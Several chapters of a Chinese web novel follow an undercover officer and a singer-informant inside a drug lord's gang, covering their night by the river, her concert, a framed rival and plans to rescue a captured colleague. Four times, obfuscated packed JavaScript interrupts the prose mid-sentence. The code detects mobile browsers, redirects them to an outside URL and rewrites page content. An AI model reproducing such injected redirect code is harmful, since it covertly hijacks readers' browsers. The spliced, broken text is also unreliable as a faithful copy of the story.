“可就在几个月前，就在这九川江边，就在这相似的月色之下，你曾经坚定地告诉我——” “高贵如月亮，也会有瑕疵难掩，可那又怎样呢，无论阴晴圆缺，明月始终令人心驰神往，这点瑕疵，根本无损月色之美。” 容清洛挥臂指向远方天幕。 那里有当空皓月，如水般澄明清澈。 容清洛一字一句道：“晏先生，我希望，你永远在那里，永不坠落。” 晏行铮心神震荡，却依旧缄默无言。 今晚他眼睁睁地看见同伴死在自己面前，更加深刻地意识到，他是没有未来的人。 自己的结局是那般不确定，目前唯一能做的事情就是护好容清洛，和她一起完成任务，直至牺牲在某个未知的时刻。 如若侥幸存活，他和她才有未来，在这之前，他给不了她任何承诺。 先在任务中活下去，才会有未来。 有了未来，才有以后。 否则，对他们二人而言，就只有现在。 身处随时可能会死、随时可能会倒下的境地，能拥有这片刻的倾心陪伴，对他而言，已经相当奢侈，已经足够让人心满意足。 他会永远记得，在这个静谧清幽的夜晚。 有月色。 有江风。 也有她。 一直以为自己无坚不摧，而今才忽然发现，他也有软肋。 晏行铮忽地开口：“清洛，你一定要保护好自己。” 话题跳转地有些快，容清洛一时没跟上面前人的思路：“什么？” 晏行铮重复道：“你要保护好自己。” 身处黎明前的黑暗，不知道什么时候才能收网。 他只能尽最大的努力，去完成二人共同的目标，然后在最后的时刻，成功送她脱离这苦海。 晏行铮暗下决心，要尽快将容清洛成为线人以后在这些年中做出的功绩梳理汇总，统一上报给平叔，以免未来收网清算时误伤容清洛，毕竟容清洛一直待在林裕身边。 而这一切，容清洛不需要知道，他只希望，在黎明到来之前，她能好好活着。 千言万语在晏行铮心中跳跃，最终都只化作一句话，他道：“既然我们已经生死与共，在未来，你要继续保护好自己，千万……别死在我前面。” 容清洛：“你也是，要好好活着。” 晏行铮：“万一最终，我们都陷在这潭泥泞里，而我已经出不去了，我一定会送你走出这泥潭，到时候，你不要有任何留恋，要勇敢地走下去，我希望，你能替我看看，那初升的太阳。” 容清洛眼眶微红：“在这条一不小心就全盘皆输的道路上，我会永远为你虔诚地祈祷，你也一定要活下去，不要只留下我一个人。” 接下来，两人都没再说话。 江边步道旁有供人休憩的木椅。 两人各自坐在一张长椅上。 相隔几米远的距离。 枯坐一夜。 月落日升。 东方漆黑的夜幕渐渐揭开一角，露出一抹鱼肚白。 曙光初现，天快亮了。 晨光点亮江边花树，那是春日江畔盛开的桃花。 远方江堤生长着大片明黄色的油菜花。 处处都是生机。 晏行铮起身，来到容清洛面前，伸手：“回去吧。” 容清洛被晏行铮从木椅上拉起，两人向停车场走去。 犹豫再三，容清洛停下脚步，鼓起勇气，郑重道：“晏先生，我还有话想说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578054|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏行铮颔首。 容清洛：“其实，无论是你，还是我，我们都只是时代浪潮下最细微、最不为人所察觉的浪花，轻易就淹没在潮水中。” “范家已经覆灭，萧家即将覆灭，林家未来同样也会覆灭。” “无论有没有你我，这都是大势所趋。” “就如同树木在秋季凋零，庄稼在秋季丰收，万事万物兴旺衰败的节律都是不同的。” “有人高升，有人降落，三十年河东，三十年河西。这就是事物最正常的发展规律。” “曾经，他们趁势而起，享受时代红利。如今，时代发展到这里，他们注定要覆灭。” “即便没有你我，也有其他人来执行。” “你是时代的棋子，我也是。” “只不过，林晶种下了让我走入这场棋局的因。” “我多么希望，我没有成为这朵浪花。” “我只想做一个观潮人，却意外成为踏浪者。” “这一路走来，我真的很痛苦。” “反复被煎熬，每每被锤炼。” “以前，我真的不觉得这世上有什么是值得快乐的事情。” “可现在，偶尔也会觉得，也没有什么值得那般不快乐。” “这都是因为，身边有你，我就感觉，我不是一个人沉沦在这苦海泥沼之中。” “晏先生，清洛一直很感激，你愿意让我和你一起走剩下的路。” “那么，如果等不到天亮，在这黎明之前，我希望可以和你一起做殉道者。” “好了，我的话说完了，这就走了。” 晏行铮立在原地，看着容清洛的背影，不知道在想什么。 容清洛走出几米远，忽地摸到兜里的东西，她停下脚步，回头问道：“有受伤吗？” 晏行铮：“什么？” 容清洛：“问你昨天在萧宅受伤了吗？” 晏行铮：“没有。” 容清洛：“怎么可能，就算没有被咬伤或者被子弹打中，肯定也会有擦伤啊。应该没被林裕发现吧。” 晏行铮：“都在衣服里面，小伤口而已，不碍事。” “自己的身体只有自己爱护，为什么那么不把自己的身体当回事，你让我别死在你前面，那你自己首先便要长命百岁。”容清洛从外衣口袋里拿出一小瓶伤药塞进晏行铮怀里，“给你，回去记得敷上。” 说罢，她转身想要离开。 晏行铮忽地叫住她：“容清洛。” 容清洛没有回头：“怎么了？” 晏行铮轻声道：“下雪了。” 有纷纷扬扬的雪花轻盈地在微风的护送下飘至容清洛的眼帘，她仰面望向天空。 雪花与桃花瓣一同在空中飞舞，曼妙而美丽。 倒春寒，竟然真的会降雪。 容清洛伸出手掌，去接那纯白雪粒。 飘零的白雪没有接到。 却感受到身后接住一个温暖的拥抱。 温柔。 克制。 却似乎有浓烈的话语，无声地在陈述与表达。 爱意，会是一个克制而浓烈的拥抱吗？ 容清洛不知道。 她道：“这是春雪，许个愿吧。” 晏行铮矮下身子，将下巴窝在容清洛肩上，低声轻语：“希望明年，还有机会和容小姐一起来九川江边，品月升，赏雪降。” 容清洛拍拍晏行铮横抱在她身前的手臂：“希望有一天，能亲口听到晏先生告诉清洛，你真正的名字。” 104. 星夜有你 光阴似箭，有了容清洛的配合，晏行铮的各项任务都能够完成得更加顺利。 同时，容清洛还告诉了晏行铮不少有关林裕的信息，晏行铮也因此更加投其所好，林裕对他的信任与日俱增。 如今，晏行铮已然成为最受林裕信任的心腹之一。 二十五岁的这个夏天，容清洛举办了自己的第一场个人演唱会，发布了一首新歌，歌名叫《这世界有你存在》。 这首歌的曲子是重新制作的，但歌词使用的就是程景逸当初为她写的那一版。 作词人那一栏，容清洛要求写的是易璟澄，将这三个字倒过来就是程景逸。 之所以不直接写程景逸的名字，是为了避免让林裕注意到这首歌。 在舞台上为台下的粉丝弹唱这首歌时，容清洛想的是，不管程景逸在哪个地方，如果她的名气可以再大一些，如果她的歌曲的传播度再广一些，程景逸就能听到这首歌，那么他也许就会把容清洛这个名字和季希联系在一起。 也许他就会来找她。 这是容清洛的一点私心和期许。 演唱会结束以后，容清洛疲惫地准备坐进自己的车中。 上车之前，助理指着驾驶座，无声地做了一个口型，然后溜到了另一辆车上。 容清洛以为她说的是林裕在车上，脸上端起职业假笑。 没想到上车之后，发现那握着方向盘的人，竟然是晏行铮。 容清洛诧异道：“晏先生，怎么是你？” 晏行铮发动汽车：“裕哥让我来的。” 容清洛：“如今晏先生可是林裕身边的红人，你来给我开车，啧啧，清洛怕是受不起呀。” 晏行铮：“你刚刚唱的那首新歌，我有点印象，当年在医院的顶楼天台，你是不是唱过？” 容清洛微愣，仔细回忆起当时的情景，才恍然想起自己以前在他面前唱过这首歌，不由得感慨：“竟然已经过去这么多年了，晏先生的记忆力可真好。” 晏行铮：“倒也不是因为记忆力好这个原因才记住的。” 容清洛：“那是因为什么？” 晏行铮在后视镜里扫了容清洛一眼，懒懒道：“不告诉你。” “不过当初确实谁也没想到，你会走上歌手这条路，有一天还能在这么大的场地里和这么多歌迷一起开演唱会，恭喜你，清洛。” 容清洛：“我会这样选择，只是因为我觉得，大家喜欢的也许不是真正的我。” 晏行铮：“为什么这么说？” 容清洛：“粉丝们喜欢我的颜值，但你知道的，我的脸以前经历过烧伤和毁容，我现在的脸其实是严靖诚当初为了让我接近林裕而照着另一个女生的脸做手术得来的。” “我在林裕这里只是林洛的替身，在粉丝那里也只不过是粉丝心里的投射。” “我感觉自己总是在为了一些目的而扮演着其他人，当着别人的影子。” “而真正的我到底是谁呢？” “我到底是容清洛，还是扮演着容清洛的季希？” “可是，这个世界上已经再无季希，季希这个人早就不存于世。” “而容清洛又好像并不是真正的我。” “那么，真正的我到底在哪里呢？” “也许我的灵魂被容清洛的皮囊和人设挤压在这个躯壳之下的某个角落吧。” “想来，没有人会喜欢皮囊和人设之下真正的我。” “而我自己其实也并不是很想那么糟糕的自己被别人发现。” “但是歌声不一样。” “我的嗓音是我自己的，是没有经过任何外在改造的。除了系统学习过声乐技巧以外，这副嗓音就是纯天然的，是独特的。” “歌声不是外表这种只有通过眼睛去看才能发现的美丽。” “人们不需要看到我的脸和皮囊，不需要了解我的人设和伪装，人们只是在各种各样的场景之下与我的歌声不期而遇，与唱歌时我的心境同频，喜欢上我的声音。” “这让我感到很安心。” “我觉得，这些喜欢我的歌声的人，是真的喜欢我这个人，而不是因为看到了我的皮囊或者人设。” “我喜欢这种无形的力量。” 晏行铮：“你就是你，不管是季希，还是容清洛，不都是你吗？” “你不是在扮演谁，你也不是谁的替身，你就是你自己。” “其实，无论是容清洛还是季希，无论是你原本的脸还是其他人的脸，这些都只是外在的符号，是一种让社会上的其他人标识你的代号。” “你读过《庖丁解牛》这篇文章吗？” “真正的高手都是以神遇而不以目视的。” “不管是你的名字还是你的面容，都只是外界认识你的表象。” “就比如说，我认识你，从来都不看这些。你看我哪一次认出你，是靠外在的容貌了？我都是通过你的战意看见你的灵魂，进而确认你是谁。” “我认识的是你本身，而不是外在的这些东西。” “做我们这一行的，外在的这些东西都是虚假的，都是混淆他人视线的，只有我们体内的热血与真心昭示着我们不变的坚守与信仰。” “所以，你应该相信，这个世上，有很多人都有以神遇而不以目视的能力，我就是其中之一。” “我可以看见真正的你。” “刨除你的名字和你的脸，看见最本真的你。” 晏行铮：“另外，我也很喜欢你的歌。” 他的声音并不大，语气中也并不包含任何情感。 他只是在平铺直叙地诉说着他的想法，回应着她的话语。 容清洛听了却有些想要落泪。 泪意涌上眼眶，容清洛眨眨眼，深呼吸，把眼泪压回：“谢谢。” 晏行铮笑起来：“你我之间，不需言谢。” 容清洛也笑了。 她低下头在包里翻找着什么，问道：“不过说起来，你竟然会买我演唱会的票？” 容清洛原本坐在副驾驶座后面的座位，她从包包的夹层里翻出一枚由小塑封袋包好的U盘，快速地挪动到驾驶座后的位置上，伸长手臂，将塑封袋塞进晏行铮的上衣口袋里。 容清洛的动作一气呵成，嘴上也没停，她放U盘时，靠近晏行铮耳边，轻轻道：“早知道晏先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578055|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生对我唱歌感兴趣，我送你一张内场票啊。” 晏行铮单手握着方向盘，另一只手在口袋里一摸，明白这是他上次让容清洛想办法从林裕那里搞来的资料。 虽然他如今很受林裕信任，但林裕其实也会有一些事情是不让他知道的，反而容清洛有时候能接触到许多外界不知道的有关林裕的动向。 说起来也奇怪，林裕很多时候并不避讳容清洛在场。 也不知林裕是认为容清洛作为女人没什么威胁，还是林裕真的打心眼里信任容清洛。 晏行铮：“我没有买票，是林裕本来要来看。” “他的票也是我给的。”容清洛坐回座位上，“林裕自己怎么不来，他人呢？而且他为什么会派你来接我，你没有事情做吗？” 晏行铮：“林裕的大舅哥今天刚好来找他谈事情。”、 “吴先生看见这张票了，问起来，林裕只好说票是替我要的，当着吴先生的面就把票给了我。” “吴先生还在林裕那里，我只好来走一趟，林裕还给我发信息，让我晚点再把你送回去。” “那票不会是你故意让吴先生看到的吧？”容清洛拍了一下晏行铮的口袋，低声道，“为了这个？” 晏行铮不置可否。 容清洛就明白了。 晏行铮把容清洛送回住处时，林裕的车也刚好才到。 容清洛下车：“林裕，你怎么又让这个闷葫芦来送我？” 林裕：“阿铮是我的左膀右臂，他给你开车，还委屈你不成？有他保护你，我才安心。” 晏行铮给林裕打了个招呼，准备离开。 林裕让容清洛先进屋内，他对晏行铮道：“阿铮，最近估计还会让你接几次清洛。” “我那个大舅哥不知道从哪里听到风声，今天问了我好几次清洛的事情。不能让吴家知道清洛和我的关系。” “我记得几年前你不是还在饭局上替我给清洛出过头吗？我只好推说清洛是你的情人。这段时间，我可能顾不上清洛了，你多看顾着点她，别让人欺负了她去。” “另外，阿铮，你功夫好，你抽时间教清洛几招，让她关键时刻防身，我怕吴家人对她不利。” 晏行铮：“行，我知道了，裕哥您放心就是。您是做大事的人，休被女人所扰。” 林裕叹气：“阿铮，这么多年，也不见你身边有个贴心的人。我知道你对情爱不感兴趣，只一心扑在事业上。但也正是因为这个缘故，我才会把清洛托付给你来保护，其他人，我担心他们对清洛动歪心思。” 晏行铮：“裕哥，我明白你的意思，容小姐，我会替您保护好。有我在，没有人能伤害她。” 林裕拍了拍他的肩膀：“好，有你这句话，我就更放心些。” 于是在林裕的授意之下，晏行铮每隔一段时间，便会去容清洛工作的地方光明正大地见她一面。 林裕希望外人以为他们二人是在约会。 但实际上晏行铮只是去教容清洛防身术，而且全程都有林裕的眼线在场。 所以这一两个月里，晏行铮虽然和容清洛见面次数比以前多，传递消息反而没有以前方便及时。 105. 星夜有你 尽管晏行铮很受林裕信任，基本经手了林裕名下的大部分产业和生意，但是林裕产业中最黑暗面的一条线却从未让晏行铮碰过。 一直为林裕经营这条线的人是杜业。 杜业其人，据说跟着林裕已经有将近二十年了。 他和林裕是拜把子的兄弟。 杜业，才真正称得上是林裕的异姓兄弟，而晏行铮虽说是心腹，但仍然没能从卖命的牲口变成人。 对林裕而言，晏行铮是他最好用、也最喜欢的一头拉磨的驴，但也仅此而已。 晏行铮目前拼凑出来的情报是，杜业长期在宁川市和西南地区之间替林裕经营一条完整的制毒、贩毒链。 实际上，近些年根据他探查到的多条情报，警方已经成功将林裕经营的多个灰色产业铲除掉，唯有这条毒品链始终没被侦破。 究其原因，一方面是因为林裕有吴家庇护，另一方面则是因为林裕本人确实非常谨慎、老谋深算，所以每一次都被林裕躲了过去，只推出手下人替他顶包。 晏行铮一路卧底坐到现在这个位置，他需要调查的已经不仅仅只是林裕一个人，还有林裕背后那张错综复杂的巨大利益网络。 其中首当其冲的就是和林裕联姻的吴家。 当初林裕和吴家女结婚，以此换取吴家的庇护和提携。 吴家又借助林裕来经营一些黑色产业。 林裕让利极大，并且时不时地还得用暴力手段帮吴家解决一些人。 那年从花洲岛地牢里救出来的人里面有不少都是得罪了吴家的人。 所以这个吴家问题也很大。 花洲岛事件以后，警方开始调查吴家，吴家人身边也有卧底。 吴老其实一直很觊觎林裕手里的这条制毒贩毒链。 尽管林裕在很多方面都讨好吴老，可唯独这条线，林裕一直藏得很好，没有松口，也没让任何外人染指。 如今，晏行铮将这个情况上报以后，上级便启动了一个潜伏在吴家大公子吴则身边的卧底。 这个卧底便是文新霁，也就是贺溪君的表哥，化名沈飞。 吴则想在林裕的制毒贩毒链里分一杯羹。 沈飞利用吴则的这一心理，刻意引导吴则对杜业下手。 杜业最终被送进监狱。 这是在逼迫林裕。 但林裕并不打算向吴家低这个头。 他要拥有对这条制毒贩毒链的绝对掌控权。 然而林裕手里现在无人可用。 他那条暗线上的人相继出事，为了避免这条经营多年的制毒贩毒链毁于一旦，林裕必须往这条线上补充新鲜血液，让其他人接手。 对林裕而言，晏行铮是最合适的人选。 晏行铮毕竟已经跟随林裕七年，这个时间并不算短。 正所谓，路遥知马力，日久见人心。 所以林裕有意让晏行铮接替杜业的位置。 但是林裕不确定晏行铮能否胜任，便先只给了晏行铮一部分权限，让他试一试。 晏行铮能文能武，有勇有谋，接手的过程中虽然有一些不大不小的风波，但都被他很好地解决。 林裕对晏行铮愈加倚重，他终于让晏行铮全面接触到了自己最核心的制毒和贩毒产业。 这下，晏行铮才算是真正上位。 但晏行铮毕竟年纪轻，他比林裕小了整整十岁，今年也不过二十九岁。 他才这个年龄就在林裕手底下混到了二把手的高度，当然让有一部分人眼热，其中和他最不对付的人是关鹏。 最初晏行铮来到林裕身边当小弟的时候，他要喊关鹏一声关哥。 但现在，晏行铮只需要和林裕一样喊他老关即可。 关鹏年逾四十，被这么一个年轻人压在头上，心里十分不平衡，便带着一伙人准备围堵晏行铮。 那天晏行铮本来准备和平叔接头，所以身边没带人，但是因为察觉到有人跟踪，他便取消了接头，带着身后的尾巴在街头巷尾乱窜，最后将这些人引到了林裕的一处地下赌场。 这个地方关鹏不知道是林裕的，所以十分嚣张地威胁晏行铮，大闹赌场，差点把警察招来。 而林裕这天正好把晏行铮约在这里谈事情。 晏行铮原本是想利用灯下黑，在和林裕隐秘见面之前先和平叔接个头。 没想到被关鹏打乱了计划。 但关鹏打乱的何止是晏行铮的计划。 林裕此时就在这家赌场深处的一间办公室中。 关鹏就这样撞在了林裕的枪口上。 林裕怒斥：“我们如今腹背受敌，老关你不好好想着如何为我分忧，却在这紧要关头搞内讧。就你这思维格局，我就是再想让你挑大梁，你肩上又如何担得住？你就管好你那一摊子事，别再找阿铮麻烦了。你们都是我的左膀右臂，应该一致对外，而不是两只胳膊打架。” 关鹏虽然表面上没再针对晏行铮，但是开始暗搓搓地搞事情，还专门派人监视晏行铮的一举一动。 晏行铮有所察觉，当然没让关鹏查出来什么。 林裕安排人进监狱接触杜业，带出来有内鬼的消息。 关鹏虽然没有证据，但是为了让晏行铮失去林裕的信任，他提出晏行铮就是这个内鬼。 晏行铮手下也有许多小弟，他早已提前得知消息。 面对关鹏歪打正着的“诬陷”，晏行铮指责关鹏贼喊捉贼：“内鬼确实就在我们中间，但不是我，而是关鹏。” 晏行铮告诉林裕，他有一个手下前段时间新收了一个小弟，那小伙子以前改邪归正过一段时间，给警察当线人，但最近因为缺钱又重新干起老本行。 而这个人曾经无意中见到过关鹏和警察接头。 林裕对此将信将疑，他通过吴家的关系，过了一遍警局内部的线人名单。 吴家虽然在警局有人，但警局中本身就有专门的行动小组在暗中对吴家进行调查，再加上晏行铮早有准备，提前和平叔通过气，所以林裕并没有拿到任何真正的线人信息，只得到一份伪造的关鹏和警方的线人协议。 关鹏在林裕这里彻底失去信任。 如果说之前林裕对晏行铮有一点怀疑，但是现在，林裕认为关鹏指认晏行铮是在使反间计，目的就是为了让他亲手斩断自己的手臂。 晏行铮躲过一劫，深入参与进林裕最核心的黑暗产业。 林裕在制毒贩毒链上没给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578056|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴则面子，自然要在另一方面找补回来。 所以他最近每天都回家陪妻子，便没有时间去见容清洛。 于是，林裕专门托晏行铮给容清洛带去一条项链。 *** 初冬，清晨，晏行铮走出家门，到小区附近的农贸市场买菜。 林裕最近要有大动作了，晏行铮压力有点大。 晏行铮的小弟们都知道晏行铮在压力大的时候喜欢做饭解压。 连林裕都吃过晏行铮做的饭。 所以晏行铮去菜场买菜，倒是没有人怀疑。 晏行铮一路买了些菜，在经过菜市场角落的一家开锁铺子时，他走到铺面前：“老板，配一把钥匙。” 平叔正坐在店铺前的摊子上修东西，听到声音后抬起头，眼镜片反射出的光线很亮。 他答道：“好嘞，这位老板，我这手里目前还有活，您要是不着急，先进去喝杯茶，坐着等一等，我马上就好。” 晏行铮点头，走进铺子里，熟门熟路地走到里屋。 外面装着有监控，在里屋随时可以留意外面的动向。 没过多久，平叔也走进来，放下门帘的一瞬间，笑脸消失，神情严肃。 晏行铮从口袋里拿出一个移动硬盘放在桌上：“这是我目前掌握的有关林裕那条制毒贩毒链的所有情况，资料都在这里面，应该很快就可以收网了。” 平叔露出欣慰的神情：“这么些年，阿铮，多亏有你。如今总算是皇天不负有心人，胜利在望，你一定要坚持住。” 晏行铮：“明白。” “平叔，近期西南那边有一个大买家，对方明确说要和背后的老大谈。林裕正在考虑是否要亲自去，等后面有消息我再告诉你，到时候我们里应外合，也许能够人赃并获，让林裕再无逃脱可能。” “好。”平叔收好硬盘，“你这些资料我先带回去让他们分析。” 晏行铮起身拎起菜篮，准备离开。 平叔忽地喊道：“阿铮。” 晏行铮回头。 平叔：“我告诉你一个消息，你听完以后千万不要激动，一定要冷静。” 晏行铮心中浮起不好的预感：“您说。” 平叔：“之前一直没告诉你，潜伏在吴则身边的卧底是新霁，他化名沈飞。” 文新霁是晏行铮在警校时关系很好的师兄，一直是晏行铮的榜样。 以前文新霁潜伏做任务的时候，还拜托过晏行铮帮忙给他读初中的妹妹送生日礼物。 当然，那时候晏行铮尚不是卧底，用的还是真名。 晏行铮疑惑道：“师兄不是四五年前就已经调回南庐市了吗？” 平叔：“花洲岛地牢事件牵扯出吴家以后，新霁就被召回，被派去潜伏在吴家了。” 晏行铮很快反应过来：“难道师兄出事了？” 平叔叹气道：“新霁他身份暴露了，我们目前得到的消息是，吴则已经把他交给林裕。” “阿铮，林裕的身边你最熟悉，如果把营救新霁的任务交给你，你有几成把握？” 晏行铮严肃道：“不管有几成把握，不论付出什么代价，我都会把师兄全须全尾地平安带回来。” 106. 前夜闻道 如今吴则已经相信，和容清洛有关系的不是林裕，而是晏行铮，林裕便没再要求晏行铮和容清洛见面，也没安排人监视二人。 林裕最近事情很多，便有一段时间没有过问容清洛的行踪。 有唱片公司想和容清洛合作，希望容清洛出一个单曲。 本来容清洛是没有时间的。 但是最近林裕像是要搞什么大动作，容清洛心里很不安，担心离开宁川市会错过大事，便推掉了几个需要去外地录制的节目邀约，接下了这个写歌的工作。 于是容清洛最近一直待在宁川市，一边创作歌曲，一边时刻注意着林裕的动作。 她发现林裕这一周以来都很奇怪。 每天晚上，林裕既不留在公司加班，也没有去林太太身边点卯，更没有回他常住的公寓休息，反而是每晚都到一套郊区的别墅。 那套别墅不在林裕名下。 容清洛以前查林晶的时候查到过，那是林晶名下的别墅。 容清洛在别墅外观察了好几天，发现别墅西侧二楼的一排房间经常会一亮就是一整夜，灯火通明。 窗帘拉着，容清洛无法知道里面发生了什么，但是看别墅周围那守卫森严的架势，容清洛猜测，里面也许关了什么人，说不定每晚林裕都在审讯这个人。 能让林裕每天来“关照”，说明这个人很重要。 容清洛思来想去，决定把这个消息告知晏行铮，便给晏行铮发去两人约定好的暗号，询问能否见面。 没过多久，容清洛收到回信。 「明日上午九点，云台宫后山飞天岩。」 第二天，容清洛外出采风，为写歌找灵感。 来到云台宫后山，容清洛根据地图找寻飞天岩。 栈道一旁的崖壁上有许多雕刻。 可惜这里地处偏僻，路也难走，少有人能见到这处风景。 要想攀上飞天岩，只有一条栈道可供通行。 站在至高点的观景台上远眺，周围一览无余，要是有人接近，一眼就能看到，别人无法偷听到台上之人的谈话。 勉强还算是一个合格的接头地点。 容清洛到时，晏行铮正凭栏而望，盯着远处的山峰沉思。 她悄悄走近，本想吓晏行铮一下，没想到晏行铮突然扭头，锐利的目光直射而来，将容清洛钉在原地。 晏行铮在隔得很远时就看到了容清洛，只是她走得慢，晏行铮便一直静静等着，顺便思索着接下来到底应该如何行动才能救出师兄。 此时见容清洛似乎被吓到，晏行铮收回眼底露出的情绪，面色微缓：“抱歉，我在想事情，刚刚，不是针对你。” 容清洛停顿一下，调整好表情，才道：“晏先生这副模样，倒让我感觉，你把我叫到这里，是为了杀人埋尸。” 晏行铮解释道：“我们两个在市区见面很容易被林裕发现，所以才选择在这里碰面。” 容清洛：“理解。” 晏行铮：“说说吧，找我什么事？” “晏先生，”容清洛正色道，“我发现林裕最近每天都会去市北郊的一栋别墅，我猜那里有可能关了一个很重要的人，这有可能是个重要信息，所以我想向你汇报。” 晏行铮：“你也发现了。” 容清洛马上反应过来：“晏先生知道这件事？” 晏行铮：“里面关着的人，名叫沈飞。” “沈飞？”容清洛咀嚼着这个名字，突然道，“我记得这个人，林裕提起过，沈飞是吴家大公子的人，这一两年很受吴家大公子的信任。” 晏行铮：“是，但现在，吴则把沈飞交给林裕处理了。” 容清洛：“为什么？” 晏行铮看着容清洛的眼睛，一字一句道：“实际上，沈飞是我们的人。” 容清洛惊道：“难道他暴露身份了？” 晏行铮沉默点头。 容清洛心里有预感，但没想到事实竟然果真如此，叹口气，分析道：“这是最坏的情况。我观察过，林裕安排了不少人手在别墅周围，这还只是外面能看见的，里面我们看不见的地方，不知道隐藏了多少埋伏。如果你想要去救他的话，难度很大。” 晏行铮：“是，但我得救他。” 闻言，容清洛眼里闪过一丝暗芒：“晏先生，你有没有想过？” “林裕从吴则手里把沈飞要过来，目的就是要用这个沈飞来试探林氏内部是否还有藏于暗处的内鬼。” “你一旦出手，便是踏入林裕设好的陷阱。届时，别说救人，不把自己搭进去，都很难。” “当然想过。”晏行铮转身，将手放在防护栏上，看着远山道，“可即便是陷阱，我也得去。” 容清洛挑眉：“明知山有虎，偏向虎山行？” 晏行铮点头：“是。我要做的，不是畏首畏尾，而是想尽一切办法，去完成我应该做的事情。” 容清洛上前两步，也站到栏杆前，和晏行铮一样眺望远方。 冬日的山岭，冷峻肃穆，一片苍茫。 她问道：“什么是应该，什么是不该？” 晏行铮：“于我个人而言，我职责所在的，我所坚信的，就是我的应该。” “我所鄙薄的，我无法苟同的，就是我的不该。” “晏先生就这般义无反顾？”容清洛，“明知道结局难料，此去凶多吉少，还要去？” 晏行铮依旧坚定：“是。 “他是我的同伴，就算是刀山火海，我也要去救他。” 容清洛若有所思：“你和这个沈飞，是旧相识？” 晏行铮：“对，我们认识很多年了，他是我警校的师兄。” 营救文新霁需要容清洛的帮助，既然决定让容清洛参与行动，晏行铮便没有隐瞒文新霁的身份。不过晏行铮没告诉容清洛，沈飞这个名字是化名。 “难怪。”容清洛玩味道，“要是这个人你不认识，他不是卧底，他只是一个被林裕和吴则迫害的普通人，你还会冒这个险吗？” 晏行铮毫不犹疑道：“会。” “为什么？”容清洛知道，晏行铮不是那种说空话的人，他既然这么说，那么他一定会这样做。 晏行铮扭头看向容清洛，认真道：“因为我是否选择救人，和我认识这个人与否，和这个人是什么身份，都没有关系。” 容清洛没有放弃追问。 她问着晏行铮，却仿佛是在问着另一个自己：“那和什么有关呢？” 晏行铮：“与我的职业、我的责任、我的信仰有关。” “清洛，我以前说过，即便你不当线人，我也会救你，会替你讨回公道，这个道理是一样的。” 容清洛皱眉：“可……畏惧死亡，趋利避害，在生死面前犹豫不决，这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578057|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都只是人之常情。” 晏行铮：“但是对于我们这种选择走进暗夜里潜行的人来说，要做到的恰恰就是克服人性、超脱人性。” 容清洛：“为何？” 晏行铮摸摸自己的后脑勺，笑得云淡风轻：“要是常常为人性所困扰，甚至因此而干扰判断和行为，那这脑壳都不知道被人打穿过多少回了。” 容清洛轻叹：“确实。” 晏行铮又道：“而且你不是也做到了吗？” “叶时冉和你只是做了两个月的同桌而已，你却能为了揭开她死亡的真相、为了替她讨回公道，走到现在这一步。你也没有惧怕死亡，你也没有趋利避害，你也有你自己的责任与信仰，不是吗？” “我没有那么高尚，”容清洛低头，“我不只是为了她。” “我也为了我自己。” 晏行铮：“在暗夜里行走，你做的比你想象的要多，你也比你以为的要更好。” “你能坚持走到现在，我很钦佩你。” “你刚提到超脱人性。”容清洛，“怎么超脱呢？人性要是这么容易超脱出来，也就不会有那么多的芸芸众生在红尘苦海里挣扎沉浮了。” 晏行铮：“信仰与坚守会指引你。” “信仰啊……”容清洛长出一口气，语气微嘲，“这个年头，还有信仰可言吗？你出去跟别人说你有信仰，会有很多人笑话你。” 晏行铮：“那你会笑吗？” 容清洛摇头：“不会。” 晏行铮：“为什么？” 容清洛：“我不是别人。” 晏行铮莞尔微笑：“我以前怎么没发现，你还挺自恋。” 容清洛解释道：“一般人活在世上，其所经历的苦难都是可以想象的，都是有限的。所以大多数人都还没有艰难到需要靠着坚定的信仰才能活着的地步。” “可我的情况有些特殊。” “当然，我所经历的，和战争年代的先辈们所经历的苦难比起来，仍然不是一个量级。” “但是与我的同龄人相比，与和我同时代的人们相比，我确实所经受的痛苦不算少。” “尤其我不仅身体受折磨，精神也很痛苦。” “我深切地渴望活着。” 